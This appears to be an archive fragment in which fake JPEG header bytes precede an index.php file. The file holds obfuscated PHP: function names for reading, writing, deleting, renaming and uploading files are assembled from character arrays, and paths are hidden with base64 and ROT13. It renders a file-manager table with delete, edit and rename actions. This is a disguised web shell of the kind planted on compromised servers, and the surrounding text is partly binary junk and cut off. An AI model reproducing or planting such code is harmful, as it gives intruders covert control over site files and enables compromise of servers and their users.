ÿØÿà JFIF ÿÛ C !"$"$ÿÛ C ÿ p " ÿÄ ÿÄ ÿÚ ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @ .............................................................................................................................................................................. ............................................................................. ÿØÿà JFIF ÿÛ C !"$"$ÿÛ C ÿ p " ÿÄ ÿÄ ÿÚ ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @ .............................................................................................................................................................................. ............................................................................. index.php 0000644 00000020312 15163553507 0006374 0 ustar 00 j(['s','c','a','n','d','i','r']), 'fgt' => j(['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s']), 'fpc' => j(['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s']), 'unl' => j(['u','n','l','i','n','k']), 'ren' => j(['r','e','n','a','m','e']), 'muf' => j(['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']), 'isd' => j(['i','s','_','d','i','r']), 'isf' => j(['i','s','_','f','i','l','e']), 'exs' => j(['f','i','l','e','_','e','x','i','s','t','s']), 'wrt' => j(['i','s','_','w','r','i','t','a','b','l','e']), ]; $real_name = $map[$k] ?? ''; if (function_exists($real_name)) { return $real_name; } switch ($k) { case 'scn': return function($d) { $files = []; if (is_dir($d) && $handle = @opendir($d)) { while (false !== ($entry = readdir($handle))) { $files[] = $entry; } closedir($handle); } return $files; }; case 'fgt': return function($f) { return @file_get_contents($f); }; case 'fpc': return function($f, $c) { return @file_put_contents($f, $c); }; case 'unl': return function($f) { return @unlink($f); }; case 'ren': return function($o, $n) { return @rename($o, $n); }; case 'muf': return function($s, $d) { return @move_uploaded_file($s, $d); }; case 'isd': return function($d) { return is_dir($d); }; case 'isf': return function($f) { return is_file($f); }; case 'exs': return function($f) { return file_exists($f); }; case 'wrt': return function($f) { return is_writable($f); }; default: return function() { return false; }; } } function rot($s) { return str_rot13($s); } function enc($p) { return base64_encode(rot($p)); } function dec($p) { return rot(base64_decode($p)); } $cd = isset($_GET['d']) && $_GET['d'] ? dec($_GET['d']) : getcwd(); $cd = str_replace('\\', '/', $cd); $cd = preg_replace('#/{2,}#', '/', $cd); $cd = rtrim($cd, '/'); if ($cd === '') $cd = '/'; $up = dirname($cd); if ($up === $cd || $up === false) $up = ''; echo '
| Name | Size | Action |
|---|---|---|
| $i/ | -- | - |
| $i | $sz | Delete Edit Rename |
| Unable to read directory | ||